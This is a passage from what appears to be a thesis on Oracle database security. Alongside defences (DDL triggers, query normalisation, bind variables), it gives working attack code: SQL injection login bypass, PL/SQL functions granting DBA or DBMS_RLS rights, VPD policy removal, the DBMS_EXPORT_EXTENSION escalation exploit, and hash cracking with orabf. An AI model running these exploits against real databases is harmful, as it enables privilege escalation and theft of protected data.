to the public. See the Figure 412 below.

Figure 412: Successfully executed by finding a procedure to perform SQL Injection on

This sets up the role using the same function that we created. Take a look at the snapshot shown

below in Figure 413, the role is set.

Figure 413: Role successfully set

4.2.4 Protecting Against SQL Injection

4.2.4.1: A way to detect SQL Injection in Oracle This is one way that may be suggested to Oracle so that they detect their SQL Injection

vulnerabilities before any one has the opportunity to do so. The steps are laid down below:

• Run commands to find out who has the DBA role assigned to them in the database. O “SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = ‘DBA’;”

• For each user in the list, search for tables and packages created by user that have been

granted to ‘public’, and not declared as ‘current user’ (definer) O ((SELECT TABLE_NMAE FROM DBA_TAB_PRIVS WHERE GRANTEE = ‘PUBLIC’ AND

OWNER = ‘SYSTEM’) INTERSECT (SELECT OBJECT_NAME FROM DBA_OBJECTS

WHERE OBJECT_TYPE = ‘PACKAGE’ AND OWNER = ‘SYSTEM’)) MINUS (SELECT

NAME FROM DBA_SOURCE WHERE TEXT LIKE ‘% CURRENT_USER%’ AND OWNER =

‘SYSTEM’));

• For each of the packages in the list, run the command ‘describe’ to find procedures and

functions within that has a ‘varchar2’ as a parameter. O DESC SYSTEM.PACKAGE_NAME;



• For each procedure or function, input four single quotes as input and note down those that

return the error “ORA – 01746: Quoted string not properly terminated” e.g.: EXEC SYSTEM.SYS_QRY.SETSESSIONLANG (‘’’’);

This is really simple, if Oracle were to do this, then they would not suffer researchers finding flaws

in their database before they do.

4.2.4.2 Using triggers to monitor database activity To avoid unauthorised use from running DDL commands on the database, a trigger can be set that is

set when an unauthorised user tries to perform a restricted DDL command. These include GRANT,

CREATE or ALTER. Suppose there are only four users that have permission to execute DDL

commands, and these are SYS, SYSTEM, SCOTT and HR. The trigger may look like the one

below: CREATE OR REPLACE TRIGGER DENY_DDL BEFORE DDL ON DATABASE

DECLARE

P_USER VARCHAR (30);

BEGIN

P_USER:= SYS_CONTEXT (‘USERNV’, ‘SESSION_USER’);

IF P_USER! = ‘SYS’ AND P_USER! = ‘SYSTEM’ AND P_USER! = ‘SCOTT’ AND

P_USER! = ‘HR’ THEN

RAISE_APPLICATION_ERROR (20002, ‘USER ‘|| P_USER || ‘MAY NOT

EXECUTE DDL’);

END IF;

END; /

Listings 415: Trigger to prevent low privileged users from executing

When the trigger is implemented, the privilege to execute DDL commands is restricted. In my case

I created a user TEST/KELETSO and granted him only the create session privilege that allows him

to log into the database and create procedures. He is not allowed to create functions. Then I created

a trigger similar to the one above but specially set for him. The snapshot is shown below.

Figure 414: Trigger monitor malicious activity



The best way to implement this trigger method is to class users allowed to perform DDL commands

in groups that define what the user is allowed to do. Then triggers are set according to these groups.

The good thing about using the trigger is that it will generate the same error for an attacker who is

restricted from performing DDL commands but wants to grant him self ADMINISTER

DATABASE TRIGGER. If the user is not in the group of users allowed to perform GRANT,

REVOKE, ALTER or CREATE then an error is raised.

Triggers can be used also for auditing, what I am going to discuss in this section is not a method of

preventing SQL Injection but is a way to detect any performance of it. A trigger that monitors

execution of DDL statements on the database like the one in Listings 415 can be used, but as an

addition to it, audit statements can be written to a table created by ‘SYS’. Log in as SYS and create

a table called STATS as shown in Figure 415 below.

Figure 415: Table to contain the audit on DDL statements in the database

Create a trigger as shown below that records all the DDL performed on the database by users. This

can be used as an audit by the DBA.

Figure 416: Trigger to audit who performs DDL on the database

My first trigger disallows any unprivileged user from performing DDL statements on the database

and suppose they manage to, this trigger defined in Figure 416 can be used to show who may have

broken through the security offered by the first trigger. The audits in Figure 417 also include failed

attempts of Scott trying to grant him self the DBA role.

Figure 417: The audit from tracking DDL statements

One interesting factor is that when Scott gains the DBA role through SQL Injection, Oracle is

thoroughly tricked into giving out the DBA role without taking any account of it. This is proved by

the fact that when SYS tries to revoke the DBA role from Scott he gets a message from the database

that reads: ORA 01941: ROLE ‘DBA’ not granted to ‘SCOTT’.



This can trick the Database Administrator into thinking that maybe the Injection was not

successfully executed. The only way to revoke this role from Scott as I found out through trial and

error is by granting the role DBA to public and then revoking it as soon as possible. This is not a

safe method as well but at least it gets the job done. The amazing thing is that Oracle can not

recognise the act of granting the DBA to Scott but this is quickly realised by using triggers. There is

no consistence in the Oracle programming practices.

One other problem that I have noticed about Oracle is that it fails to revoke a privilege during an

attacker’s transaction. If an attacker gains the DBA role from Oracle and SYS tries to revoke the

role during the attacker’s transaction, a fail is guaranteed. The attacker can only lose the role when

he logs of or maybe if he tries to reassign himself the DBA role. This is totally insecure. Oracle

should allow database changes to be real time; changes should be implemented as soon as possible,

especially for security purposes.

4.2.4.3 Normalisation Oracle has a good method of authenticating users which calculates and compares the new hash with

the one stored in the database. I say this because I am comparing it with the general web application

login where a query like “Select * from user_table where user_id = ‘joe’ and password

= ‘secret’” is fired and if it give a nonNULL output then the user is allowed in. The latter

method is prone to SQL Injection. For example if a malicious user specifies his password as ‘or 1

= 1 , then the SQL statement fire will look like this; “Select * from user_table where

user_id = ‘joe’ and password = ‘’ or 1 = 1 ’”, which will return a nonNULL response

thus letting the user log in.

Oracle suffers from this form of injection as well in its postauthentication activities. One way to

avoid this is to use variable normalisation, where by varchar values are assigned to a constant

variable suppose ‘d’ and number are assigned to “0”. The normalised SQL statement is stored in a

data structure called a rule along with its corresponding prenormalised variable information as

shown below.

Suppose we have a query like “Select * from stationary where prize > ‘’’|range|’’’

and section = ‘’’| product|’’’;

Normalised SQL: “Select * from stationary where prize > 0 and section = ‘a’;

Variable 1: Position 37, Integer Type, Original Value: 3400

Variable 2: Position 64, String Type, Original value “computers”



Since queries vary in variable values, we can define the range of expected values, for example

instead of the value being 3400, it can be laid down as “Allowable Range: 100012000” for

variable 1 and for variable 2 “Allowed character set: [az; AZ], Min Length: 6”

The database can also be set to learning mode so that it automatically learns the right format and

range of values that are expected in a query. This can be done by running the database in the

learning mode while you fire “tutorial” queries to it. This reduces errors in specifying the range

and all, an example is shown below.

Figure 418: An example of normalised query training

After the system has learned the input format and values from learning or from the settings made by

the DBA then we use the SQL Block Implementation. This is an architecture where by there is a

proxy driver between the client application and the original Database Connectivity Driver as shown

below.

Figure 419: Use proxy driver to validate queries before submitting them to the database

The proxy driver is basically another database connectivity driver and instead of passing queries

directly to the database server, it first acts as a client to the other connectivity driver. This means

that the client application should be compatible with the proxy driver since the latter and the

original database connectivity driver use the same driver standards. The proxy driver is also used to

sieve the responses to the client by the database. Information from responses such as detailed errors

can be used by an attacker to learn the system, so this is prevented by this proxy driver. The client

system keeps a list of allowable SQL queries, so the required query is normalised and compared to

this list and if the normalised SQL statement does exist and if its variables are within expectations

then the command is executed. The client system also allows users to specify exceptional cases that



might not be catered for by the algorithm. This system also makes sure that attackers do not bypass

authorisation and that user input is validated. An Example of implementation is as shown below.

Figure 420: Normalised query are validated by comparison to the list of expected queries

To cut on time delay in the search the allowable list of commands is orderly listed. SQL Injection

can also be solved by better programming practices, code reviews; input validation and SQL input

binding. One can also use source code scanning tools that check for errors.

4.2.4.4 Binding Variable These improve application performance and should be applied to all SQL statements. Queries

produced from the concatenation of query strings and passed user parameters should not be allowed

since these are the biggest culprits that cause SQL Injection. The use of bind variable is simple but

it requires at least one line of code per variable. To illustrate bind variable, suppose you have

queries similar to those below. SELECT fname, lname FROM cust WHERE id = 323;

SELECT fname, lname FROM cust WHERE id = 423;

SELECT fname, lname FROM cust WHERE id = 873;

Each time a query is made Oracle first checks from the shared pool to see if this query has been

submitted before; if it has it simply retrieves its execution plan and executes the SQL. If not found,

Oracle has to parse the statement, analyse and validate all possible execution plans until it comes

with one optimal one. This procedure is called hard parse and it has an effect of making the OLTP



applications longer, also CPU intensive and also involves obtaining latches on key shared memory

areas. This might not be significant on small database applications but is surely significant on larger

multiuser interact systems. Partly this is because Oracle can not handle concurrently executions of

hard parsing and other database operations. The solution to this problem to replace the variable with

a variable that will later be replaced by the actual require value. An example of this is shown below. SELECT fname,lname FROM cust WHERE id = : cust_no;

This has the effect of presenting the same query to Oracle thus enabling Oracle to use the same

execution plan for all queries. This in turn will reduce the CPU activity as well as the latch activity

in the SGA and above all this allows the scaling up of database users as well. The bind command

should replace the concatenation in a query since the actual value is required after compile time

which is the stage at which any SQL Injection can be passed successfully.

4.2.4.5 Input Validation Input must be validated before being executed. If bind variable are use then special characters like

single quote (the only issue in Oracle) can be avoided avoided.

Also functions that are not really necessary to users should not be assigned as these may be used

against Oracle, especially the standard database functions that Oracle has. These have been granted

to users to change passwords and create users just to name an example but they can be used

maliciously by attackers. In addition to the methods used to protect against SQL Injections, errors

from the server should be made as less explicit as possible.

4.3 VIRTUAL PRIVATE DATABASE (VPD) AND ITS FLAWS

VPD stands for Virtual Private Database. This is a mechanism that is implemented by Oracle to

prevent users from viewing sensitive data. In this model, suppose a user KELETSO has a table Data

containing data that he allows everyone to view but now he decides to prevent some data from

being seen. He decides to classify one type of data as private and the other as public; public being

the data he does not mind to be seen by anyone but private being the data that he wants to restrict

access to. To use VPD, he creates a function that returns data that is specified as public only. He

then adds a policy that makes use of this function to the database. Now, suppose a user OKELITSE

wants to see all the data in the table Data and he makes a query “Select * from Data” but on the

background the database adds the where clause to the query. In this case, it will be: “Select *

from Data where classification = ‘public’”. The result added to the query is the return

value of the function used by the VPD policy and is called the predicate. This is generally how VPD

works.



4.3.1 The flaw in VPD Oracle has got a policy mechanism that allows users to view only that which they are specified to

view. These VPDs are made from DBMS_RLS as well as DBMS_FGA packages. Virtual Private

Database is a good method implemented by Oracle that is used to restrict database privileges

granted to certain users.

Below is a stepbystep demonstration of how one can defeat the security offered by Oracle. Let’s

make as assumption that a user VPD has been created in the database and been granted the create

session, create procedure and table privileges. Also the user VPD has been granted execute on the

DBMS_RLS package. The demonstration steps are as follows:

I logged in as user VPD/KELETSO. In his schema, I create a table called VPDTEST which

contains three field classification, commands and rank. The table basically describes whether a

given command is classified as a secret or it is unclassified and it also shows the rank of the

individual who gave the command as shown below.

Figure 421: The table vpdtest created by user vpd used to illustrate Virtual Private Databases

I then granted the table VPDTEST to the public (select on) so that everyone can have access to it.

The command run is as shown in Figure 422:

Figure 422: The diagram shows that everyone in the database instance can select on the table

The attacker for this session is the user SCOTT/TIGER and the Figure 423 below shows his view

of the table VPDTEST:

Figure 423: This is output from user Scott



SQL> Username: VPD/KELETSO

Logged as the user VPD, I created a policy function shown below in Listings 416; this can be

saved and uploaded as a .sql file or typed straight on the command line prompt. This function

simply returns the records that are not classified as secret. SQL> CREARE OR REPLACE FUNCTION HIDE_RECORDS (P_SCHEMA IN VARCHAR2, P_OBJECT IN

VARCHAR2)

RETURN VARCHAR2

AS

BEGIN

RETURN ‘CLASSIFICATION! = ‘‘SECRET’’’;

END;

/

FUNCTION CREATED.

Listings 416: The Hide_Records function that hides the records specified as secret

Logged as use VPD I added a policy that makes of the policy function declared above using the

DBMS_RLS package that uses the policy function above. “Execute” privileges on the package have

been granted to the user otherwise he is not able to declare policies. In general, I want to set

restriction on the amount of data other users are allowed to see on the table vpdtest. This can be

used when a user wants users to view part of his databases records but not necessarily all. The add

policy is shown below in Listings 417. SQL> BEGIN

DBMS_RLS.ADD_POLICY

(OBJECT_SCHEMA => ‘VPD’,

OBJECT_NAME => ‘VPDTEST’,

POLICY_NAME => ‘SECRETS’,

POLICY_FUNCTION =.’HIDE_RECORDS’);

END;

/

Listings 417: The code above adds the policy to be applied on the table vpdtest

SQL> Connect as SCOTT/TIGER

The attacker Scott tries to view the table again but with the policy restrictions added to the table.

This also applies to the user VPD as well in this case, i.e. user VPD is not able to view the table

records as well. This may be modified to block certain users but allows others but this is fine for

my demonstrations.



Figure 424: This is the new output when Scott selects to view the table

An attacker can create a function as shown below in the snapshot below, Figure 425 that drops the

policy. The drop_policy procedure takes the schema name, object name and the policy name as

arguments. This has to be injected into some SQL Injectable stored procedure in the database. The

main concern for the attacker is finding a procedure to inject this code into; if he finds a SQL

Injectable procedure then it is DONE!!! The function that I used is as shown below.

Figure 425: This is evil code that breaks the VPD setting on public.

NB: As a tip from experience with policies, a lot of care has to be taken on case (lower or upper)

used when specifying the arguments to the function in Figure 425 above. In essence if case is

change in the function above then it will not work. I struggled with this until I had to make use of

the same case. This is really interesting considering that Oracle does not consider case sensitivity on

log in but does on this case….Very Interesting!!!

The attacker can create an empty table which he will drop away when performing SQL Injection to

the package above, in my case the table is called FOO. The table is used to avoid Oracle form

issuing out an error that it can not find the object to be dropped. SQL> CREATE TABLE FOO (X NUMBER);

This experimented was once conducted by David Litchfield and he used the package

XDB.PITRIG_PKG to inject the function. But in my case this does not work. I am highly

suspicious that Oracle might have blocked SQL Injection using this package; they may have code

that validates the data input to the package. But all the same the major issue here is performing a

SQL Injection that will execute the function. The failed attempt is shown below in Figure 426.

Figure 426: The failed attempt to drop policy, Oracle may be validating input on the package



Logged in as user Scott, I reverted to using an alternative the procedure that I once use to

demonstrate SQL Injection, called GET_OWNER that takes in an object in any schema and returns

the owner of the schema. In actual fact, the attacker will have to hunt for a package or procedure

that permits him to inject malicious code. Therefore there are better SQL Injection demonstrations

that an attacker may use other than the one used below in Figure 427.

When I performed the SQL Injection as an attacker, the database catches the mistake but goes on to

grant the successful execution of the code. This shows a flaw in Oracle code, they are aware of the

existence of SQL Injection vulnerabilities in their code but because of inefficient programming

practices, the attacker successfully hacks through. Basically, I concatenated the command to run the

function with the name of the object required in the procedure GET_OWNER.

Figure 427: The snapshot shows the VPD configurations broken down by SQL Injection

There is a way of getting access to any restricted data on the database. Consider the VPD policy that

I have just demonstrated in this section. If an attacker, who obviously does not have access to the

concerned data, gains the EXEMPT ACCESS POLICY system privilege then all policies defined

against him in the database cease to work. He has access to every restricted table that he so wishes

to view. This privilege can be obtained using the SQL Injection flaws illustrated above. Also if the

attacker gains access to the DBA role, he can drop the policy from the BMS_SQL.DROP_POLICY

procedure i.e. if the DBA role does not encompass the EXEMPT ACCESS POLICY.

4.3.2 Another VPD attack vector Oracle allows a user to drop a security policy that was specified by another user. In my case the user

Scott, instead of drop the policy through a function created can grant himself execution privileges

on the package DBMS_RLS. This will allow him to drop any policy created by anybody as it

pleases him.

Logged in as user Scott, I tried to drop the VPD policy directly without performing SQL Injection

but unfortunately I have not enough privileges to do so as shown below in Figure 428.



Figure 428: Note the error message displayed

But let’s take a look at something interesting in the error message brought back by Oracle. It gives a

clue to an attacker that in order to perform the required task he needs to be able to execute the

SYS.DBMS_RLS. An attacker can write a function that allows him to grant himself the required

execution privilege as shown in Listings 418 below (this is the function I used). CREATE OR REPLACE FUNCTION GAIN_DBMS_RLS

RETURN NUMBER

AUTHID CURRENT_USER AS

PRAGMA AUTONOMOUS_TRANSACTION;

BEGIN

DBMS_OUTPUT.PUT_LINE('HELLO');

EXECUTE IMMEDIATE 'GRANT EXECUTE ON DBMS_RLS TO SCOTT';

RETURN 1;

COMMIT;

END;

Listings 418: The attacker grants himself execution on DBMS_RLS through SQL Injection

Logged as Scott, I only need to find a SQL Injection vulnerable procedure or package that allows

me to perform SQL Injection as shown below in Figure 429.

Figure 429: SQL Injection successful

Now user Scott can drop any policy that has been set against him, he has granted himself the

“immunity” to any VPD security that has been set on the database. He can now drop policies

without performing SQL injection as shown below in Figure 430.

Figure 430: The policy has been successfully dropped

The policy set by user VPD is ineffective to Scott since he has dropped it. He has full access to the

data that he was once restricted from viewing. The proof of this is shown in the Figure 431 below.



Figure 431: Data exposed to attacker

4.3.3 Prevention The best way to avoid this sort of attack is to block SQL Injection from being carried out

successfully by a user. If the procedures are easily injectable by SQL injection then this flaw is

inevitable. Packages that are not necessary to users should not be granted to public since some

packages are inter linked and inter dependant on other. In essence a an attacker can trace out which

other packages are interlinked with the ones he has access to and then he has free access to testing

them. An example to this situation is a situation where the attacker has manages to gain privilege to

the SYS.LTADM package which houses a procedure, CREATERLSPOLICY that directly calls the

DBMS_RLS.ADD_POLICY. In this way the attacker can create himself policies to his favour.

Preventing SQL Injection is discussed in Section 4.2 above. Oracle should prevent user from

dropping policies that they did not make. It’s senseless for Scott to drop an object that was actually

created by VPD.

4.4 CRACKING THE HASHES

4.4.1 Cracking the puzzle Basically, the password hashes obtained from the Oracle database through Cursor Snarfing or SQL

Injection are not useful to an attacker in their raw state. The attacker is faced by a challenge of

cracking the hashes to clear text. Fortunate, enough for attackers there are free tools on the Internet

that are designed to break Oracle hashes. One example of such a tool is Orabf that I used as shown

in the following section, Section 4.3.2.

4.4.2 ORABF: Oracle hash breaking tool. I downloaded the tool orabf from the Internet for free on the url link

http://www.toolcrypt.org/index.html?orabf. The downloaded folder contains a notepad file called

changes.txt, default.txt as well as two executable files, oraclehash.exe, orabf.exe and permute.exe.

The default.txt contains a set of passwords that are used by Oracle as default. The executable

program to run so as to break the hashes is called orabf.exe which takes in a password hash and the

user name who owns the password hash. After running the program with my clear text password in

the default.txt file I obtained the exact clear text password belonging to the user. Basically the tool



takes in a clear text password and hashes it up together with the user name to obtain a password

hash. If the password hash is similar to the one supplied to the program then the clear text password

has been cracked. I got a very fast and correct output when I ran the program the first time because

the orabf.exe program first tries each password in the default.txt file once before obtaining the clear

text password. If the search is unsuccessful, it than tries its own made passwords from the whole list

of alphanumeric and special characters which sequentially increase in string length.

Figure 432: Running the Orabf.exe tool to crack the SYS password

I deleted my password from the default list and cracking it took a while because Oracle had to

consider each possible character combination that can make a password from the alphanumeric and

special characters. It starts with all possible passwords that are five characters long and gradually

increase the string size with time. Cracking my password took longer than the time taken before.

Figure 433: Running the tool without the password in the default list.

This tool is efficient and right for the job. When using orabf, the user has to specify the name [hash

password]: [username] [option]. The option lets the user specify the range of characters to be used

to crack the password i.e. numbers, alpha (alphabetic letters), alpha numbers or even the whole

character space. If the user knows the type of characters the string is made up of he can specify the

right option so that the password is generated quicker than searching through the whole space. The

search sample is the string: ‘#$0123346789ABCDEFGHIJKLMNOPQRSTUVWXYZ’.

The tool also allows the user to press any button to check its progress. It shows the time elapsed

together with the current password being tried and the length range it is working in.

Figure 434: The tool shows current password being tried and total time elapsed



And finally after 11 hours 24 minutes and 30 seconds, my clear text password was obtained. The

tool tried 39,092,792,909 (about 39 billion) passwords in total to obtain my clear text password.

Figure 435: The password successfully cracked

4.4.3 Word of advice from the DBA To counteract such tools from successfully obtaining the clear text password, the user has to make

sure that he does not use Oracle’s default passwords. The password made must not be a dictionary

word that is easily figured out. If a user makes a long password which includes all sorts of character

types, it takes almost forever to break the hash such that an attacker can exhaust his patience. This

also shows how small Oracle password space is, suppose it differentiates between uppercase and

lowercase then this will also increase the time taken to crack the hash. Also if Oracle were to make

their salt more complex, it will surely become harder for their hashes to be broken since this tool

takes in the username as argument which is used in Oracle as part of the salt. The best thing is that

Oracle changes its hashing algorithm since it is now known and also changes its salt generation

procedure.

4.5 ORACLES’S PASSWORD HASHING AND ITS WEAKNESS

4.5.1 Weak salt Oracle uses a very weak salt for hashing its passwords. It uses the username of the user as the salt to

the hash concatenated with the user’s password. This shall be discussed in the following subtopics

of this Section 4.4. To prove the point that Oracle uses a very weak salt I compared the hashes I

obtained from two users I created. These are ‘JACK/ROGERS’ and 'JAC/KROGERS’. I requested for

their hashed passwords from the table DBA_USERS in the SYS schema and the output that I got

shown below in Figure 436 clearly shows that the two user have the same hashed password.

Figure 436: Oracle concatenates username and password for hashes



This simply shows that Oracle password hashes are computed by concatenating the username and

the password before hashing. Therefore the user ‘JAC/KROGERS’ and ‘JACK/ROGERS’ have the

same hashed password and this show how weak the Oracle salt selection is. It shows that no matter

what of characters we have, as long as it spell out the word ‘JACKROGERS’, then the same hash is

issued out by Oracle. This makes the algorithm predictable to attackers or any careful user. The

problem with using a weak salt algorithm is that an attacker can work out the password by using the

hashed password and the known username using appropriate comparisons. If the user manages to

decrypt the password hash into clear text then it’s easy for him to break it down to password and

username since he knows the algorithm. This he can do by having a set of precomputed suspected

username and passwords to be tried in an Oracle brute force attack.

4.5.2 Logging into Oracle Application Server When a user logs into Oracle, his clear text password is hashed and the resulting hashed password is

then compared to the hashed password that is kept in the DBA_USERS table in the SYS schema. If

the two hashes are the same then the user is logged in otherwise he is denied access to login. This is

a good mechanism that avoids high privileged users from seeing the clear text passwords even

though they have a complete access to any one’s data e.g. ‘SYS’. This also is a good move in that in

that it avoids attackers from logging in randomly into any account by SQL Injection. Suppose a

single quote is inserted into the input to perform a SQL Injection log in; Oracle calculates the single

quote as part of the password hash thus giving a very wrong hash. This eliminates the possibilities

of SQL Injection. This is an impressive technique that Oracle is using. A latter found a flaw in the

authentication method performed by Oracle. This is discussed in the last following sections.

4.5.3 Ignorance to case sensitivity I found out that Oracle does not preserve the case of the supplied password. A password in lower,

upper and mixed case is treated the same as shown below in the snapshot. One may wonder how

this is possible. Basically, Oracle concatenates the username and password and changes the case to

upper before calculating the password hash. In Figure 437.A user jack is created and his password

is varied by changing the case but a discovery is made that Oracle does not take note of the changes

in the case of the password (whether upper or lower case).



Figure 437: Oracle ignores case sensitivity

From the subsections of the Section 4.4 that have been discussed above it is quite evident that the

claim laid upon Oracle is true: i) concatenates the username and the password into a string that is to

be hashed ii) Oracle then changes everything to uppercase. This is an easy way for an attacker to

figure out the hashing algorithm. The Figure 437 above shows how weak the Oracle’s password

hashing algorithm is. It perceives both uppercase and lower case to be the same by changing

everything to uppercase. Oracle disregards the use of different cases as a security measure which

affects the individuals who feel secure by using different cases for their passwords. Moreover, this

reduces the number of possible passwords from 62 raised to the power of n to 36 raised to the

power of n where n is the password length and the figures stated are the total number of characters

offered to make a password. This makes it much easier for tools designed to unhash Oracle’s

password hashes by reducing the total time taken to extract a clear text password since the overall

case of the string is predictable.

4.5.4 The hashing function Scholars and attackers have finally figured the whole of the Oracle’s hashing algorithm and from

time to time it has been presented simpler that before. This was revealed by two researchers, Joshua

Wright (from SANS Institute) and Carlos Cid (from Information Security Group Royal Holloway,

university of London) in a paper they wrote called “An Assessment of the Oracle password hashing

Algorithm”

The hashing function is as follows:

a) Concatenate the username and the password to produce a plaintext string,

b) Convert all characters within the string to uppercase,



c) Convert the characters of the string into multibyte storage format, in other words after

obtaining the ASCII values, set their high bytes set to 0x00 e.g. let the value 49( hex) be

0x0049.

d) Encrypt the plain text string using the DES algorithm in Cipher Block Chaining (CBC)

mode with a fixed key value of 0x0123346789ABCDEF, (pad with 0s if necessary to the

next even byte block length).

e) Encrypt the plaintext string again with DESCBC, but using the last block of the output of

the previous step (ignoring parity bits) as the encryption key. The last block of the out put is

converted into a printable string to produce the password hash value.

This allows attacker to write their own code to obtain clear text passwords from the Oracle hashes

because the algorithm has been so much simplified that even a newbie developer can turn this into a

useful program.

4.5.5 Emulating the Oracle password hasher The downloadable tool called Orabf.exe comes with a tool called OracleHash.exe that emulates the

hashing performed by Oracle. To try it out, I entered my password ‘KELETSO’ for the username

‘SYS’ on the command line and then ran the tool. Basically, the tool takes in [name] [password]

and then hashes it. I got an output that is a complete replica of the actual password hash for ‘SYS’

in the Oracle database. This is shown by the result that I got is D28AC4BA64CB0F88. I compared

it to the hash that I got for my user name ‘SYS’ and password ‘KELETSO’ and amazing!!! It was a

replica.

Figure 438: The Oracle password hash from Oraclehash.exe

The actual password hash obtained from the SYS.DBA_USERS table is shown below in Figure 4

39. Notice how similar these two are.

Figure 439: The password hash for ‘SYS’ from Oracle

4.5.6 Securing from password crackers and strengthening the hashing algorithm One thing Oracle can do is to have a mechanism that enforces that users use long passwords. This

has the advantage of taking a very, very long time if at all it’s cracked. This has somehow been

provided by Oracle so that passwords are validated and verified before use. There is a procedure

called password_verify_function that is used for this but the problem is that it poses a threat to the



user password as well. This is illustrated in the coming sections of the Thesis under the topic,

“Harvesting user password through the password verify function” Oracle should also change the

salt they use to hash password, the one they are using now is very simple to be used to stored

people’s passwords safe. The best way is too complicate it a bit more than it already is. The most

important issue to be considered by Oracle is to change hashed password generation. The one being

used now is now public and people are developing tools to crack it down which is a sound call for a

new one. Its high time Oracle considers Case Sensitivity; the database has to differentiate between

lower, upper and mixed cases. This increases the sample space from which to make passwords. As

specified above, suppose a user wants to make a password of length n and case is considered then

the user has a 62^n ( the power of) possible passwords as compared to using one case which

presents a space of 36^n possible passwords. This in turn provides a wider defence mechanism

against password crackers by giving then a wider range to search.

Oracle seems to be in a habit of keeping user password in many tables. Access to these tables

should be restricted. It is still an issue on debate whether Database Administrators (DBAs) should

be given views of everyone’s password or not. The other factor to consider is auditing all user

access to these tables that contain the passwords. These will tell if there is any malicious activity

happening against the password hashes.

4.6 USING PACKAGES TO HACK

4.6.1 A summary about packages A package is a schema object that groups logically related PL/SQL procedure, variables, functions,

constants and exceptions altogether. Packages have many advantages over standalone procedures

and functions. They let the user organise application development more efficiently, let the user

grant privileges more efficiently, let you modify package objects without recompiling dependent

schema objects and also allows Oracle to read multiple package objects into memory at once. They

also allow the user to overload procedure and functions meaning that all these may have the same

name but take in different parameters.

Packages usually have two parts, a specification (spec) and a body; sometimes the body is

unnecessary. The specification is the interface to the package. It declares the types, variables,

constants, exceptions, cursors, and subprograms that can be referenced from outside the package.

The body defines the queries for the cursors and the code for the subprograms.

The general format of a package is shown below; CREATE PACKAGE name AS specification (visible part)

Public type and item declarations Subprogram specifications



END [name]; CREATE PACKAGE BODY name AS body (hidden part)

Private type and item declarations Subprogram bodies

[BEGIN initialization statements]

END [name]; Listings 419: The general structure of a package

Basically, packages allow for the gathering of types and subprograms in a named PL/SQL module.

They also allow for easier information hiding since the user can declare both public and private

subprograms. Public objects are declared in the package specification and defined in the package

body but private objects are only declared in the package body. Public objects can be use within and

outside the package; they may be referenced out side the package. Private objects are not visible to

applications outside the package and furthermore they can not be used outside the package as well.

Oracle stores the package specification separately from the package body. This allows changes to

be made to the package body without incurring changes in or invalidating the package calling

applications. Invalidation of dependent object schemas only occurs when the change are made in

the package specification. The package can hide the implementation of the private subprograms so

that in case of any changes only the subprogram is affected. This also provides integrity for the

package and makes maintenance of the package easier. The cursors and public variables declared in

the spec can be used by all the subprograms in the package and this gives an ability of maintaining

data across transactions without storing it in the database. When a packaged subprogram is used the

first time, the whole package is loaded into memory. When subprograms in the package are

required for implementation they are not reloaded again but are easily and readily usable thus

saving on disk I/O.

Packages stop cascading dependencies and avoid unnecessary recompiling. For example, if you

change the body of a packaged function, Oracle does not recompile other subprograms that call the

function; these subprograms only depend on the parameters and return value that are declared in the

spec, so they are only recompiled if the spec changes.

4.6.2 The flaw This good functionality offered by packages can be misused by hackers to hack into a database by

giving an attacker the DBA Role. Consider the bad procedure below which was used by a hacker to

gain DBA role. In my case the attacker is Scott. Before executing the security flaw, let’s check for

the roles that have been offered to Scott. The command is ‘SELECT * FROM USER_ROLE_PRIVS’

and the output is as shown below in Figure 440.



Figure 440: These are the privileges granted to user Scott

The Spec of the package is shown below. These are the variables that are common to all

subprograms in the package. They can be declared as private or public. CREATE OR REPLACE

PACKAGE MYBADPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo, p3

VARCHAR2, p3 VARCHAR2, env SYS.odcienv)

RETURN NUMBER;

END;

/

Listings 420: The spec of the package MYBadPackage

Basically, the package spec declares a function called ODCIIndexGetMetadata which takes in the

arguments oindexinfo which is type SYS.odciindexindexinfo, as well as P3, and P3 which are

varchar2, and an argument env of type SYS.odcienv. It returns a number. All these variables declare

in the spec can be used by the subprograms in the package. The body is as shown below in Listings

421: CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo, p3

VARCHAR2, p3 VARCHAR2, env SYS.odcienv)

RETURN NUMBER

IS

Pragma Autonomous_Transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

COMMIT;

RETURN (1);

END;

END; /

Listings 421: The body of the package MyBadPackage

The package body is similar to the spec; note the function is declared in the spec and then its body

is written in full in the package body. The function contains a Pragma Autonomous_Transaction

that immediately grants the DBA role to the attacking user Scott and this particular change is

finalised by the commit command.



DECLARE

INDEX_NAME VARCHAR2 (200);

INDEX_SCHEMA VARCHAR2 (200);

TYPE_NAME VARCHAR2 (200);

TYPE_SCHEMA VARCHAR2 (200);

VERSION VARCHAR2 (200);

NEWBLOCK PLS_INTEGER;

GMFLAGS NUMBER;

v_Return VARCHAR2 (200);

BEGIN

INDEX_NAME:= 'A1'; INDEX_SCHEMA:= 'SCOTT';

TYPE_NAME:= 'MYBADPACKAGE'; TYPE_SCHEMA:= 'SCOTT';

VERSION: = '10.2.0.1.0'; GMFLAGS: = 1;

v_Return:= SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA (

INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME

=> TYPE_NAME,

TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>

NEWBLOCK, GMFLAGS => GMFLAGS

);

END; /

Listings 422: Executing the package

The code gives Scott the DBA role without him setting it up. The function created above executes

as SYS thus granting Scott the DBA role. After obtaining the role, Scott can now access any table in

the database for e.g. the v$instance which gives all information about the current database instance.

The snapshot below shows the resulting table after running the command: ‘SELECT * FROM USER_ROLE_PRIVS’

Figure 441: The snapshot shows the new privileges granted to Scott

The attacker can now use his newly gained privileges to view data he had been restricted from. For

example he is now able to view the v$instance table that shows him all the properties of the

database as shown below in Figure 442. The command run is ‘SELECT * FROM V$INSTANCE’.

Figure 442: A view of the v$instace table



The flaw above was graded under milworm.com as a zeroday flaw (a flaw that is performed as

soon as a vulnerability is discovered but before a patch has been issued out) on the 26 th of April of

2006 and was also highlighted by Alexandra Kornbrust from the Red Database Security. It used to

affect Oracle version 9i, 10g R1 and 10g R2 Express Edition, but of late the claim is that a patch for

9i was released on Oracle’s quarterly patch release on the 24 th of July of 2006. But in the case of

10g, the flaw was found on the Express Edition and there is no patch for it by then as shown below

